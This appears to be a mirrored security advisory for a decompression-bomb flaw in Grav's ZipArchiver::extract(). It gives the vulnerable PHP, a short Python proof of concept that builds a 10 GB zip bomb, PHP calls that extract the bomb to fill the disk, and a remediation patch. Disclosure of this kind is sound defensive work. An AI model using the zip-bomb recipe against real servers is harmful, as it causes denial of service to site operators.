GHSA-928X-9MPW-8H56
Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-928X-9MPW-8H56 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
## Summary
`ZipArchiver::extract()` lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.
---
Details
Vulnerable code - `system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58`:
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Only guards against Zip Slip (path traversal)
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name !== false && !$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
}
// Extracts EVERYTHING — no size, count, or depth limit
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}What's missing vs `Installer::unZip()`:
| Protection | `Installer::unZip()` | `ZipArchiver::extract()` |
|-----------|---------------------|------------------------|
| Zip Slip guard | ✅ | ✅ |
| Max uncompressed size | ✅ (1 GiB) | ❌ |
| Max file count | ✅ (50000) | ❌ |
| Max nesting depth | ✅ (48) | ❌ |
| Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |
The fix applied to Installer (GHSA-2vcx, `Installer.php:178-269`):
// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;
for ($i = 0; $i < $numFiles; $i++) {
$entryName = $zip->getNameIndex($i);
// Check size, count, and depth BEFORE extracting anything
if ($limits['maxSize'] > 0) { $size += $entry['size']; }
if ($limits['maxDepth'] > 0) { ... }
if ($limits['maxFiles'] > 0) { $count++; }
// Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);None of this validation exists in `ZipArchiver::extract()`.
Reachability: `ZipArchiver::extract()` is a public method on a concrete class, accessible via the `Archiver::create('zip')` factory. While no first-party Grav code currently calls `extract()` on a `ZipArchiver` instance, third-party plugins and custom code that use the `Archiver` abstraction for ZIP restoration will walk directly into this unprotected path.
---
Proof of Concept
Step 1 - Create a zip bomb
# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024) # 1 GB of zeros
for i in range(10):
z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip → expands to 10 GBStep 2 - Extract via ZipArchiver
$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted'); // ← no limits, fills diskThe server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).
---
Impact
Any code path that extracts a user-supplied ZIP archive through `ZipArchiver::extract()` will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.
---
Remediation
Apply the same `archiveLimits()` validation from `Installer::unZip()` to `ZipArchiver::extract()`:
public function extract($destination, ?callable $status = null)
{
$zip = new ZipArchive();
$archive = $zip->open($this->archive_file);
if ($archive === true) {
Folder::create($destination);
// Apply the same archive limits as Installer::unZip()
$limits = $this->archiveLimits();
$totalSize = 0;
$totalFiles = 0;
for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
$name = $zip->getNameIndex($i);
if ($name === false) continue;
// Zip Slip guard (existing)
if (!$this->isSafeEntryPath($name)) {
$zip->close();
throw new RuntimeException(...);
}
// Decompression bomb guards (NEW)
$stat = $zip->statIndex($i);
$totalSize += $stat['size'] ?? 0;
$totalFiles++;
$depth = count(explode('/', trim($name, '/')));
if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
$zip->close();
throw new RuntimeException('Archive exceeds max nesting depth');
}
}
if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
$zip->close();
throw new RuntimeException('Archive exceeds max uncompressed size');
}
if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
$zip->close();
throw new RuntimeException('Archive exceeds max file count');
}
if (!$zip->extractTo($destination)) { ... }
$zip->close();
return $this;
}
}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav |
Corregida | 2.0.1 | — | — |
2.0.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-61690https://github.com/getgrav/grav/security/advisories/GHSA-928x-9mpw-8h56https://github.com/getgrav/grav/commit/1c1003cfcab5344203d6fde1aaa1f9a4ee3413ffhttps://github.com/getgrav/gravhttps://github.com/getgrav/grav/releases/tag/2.0.1Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
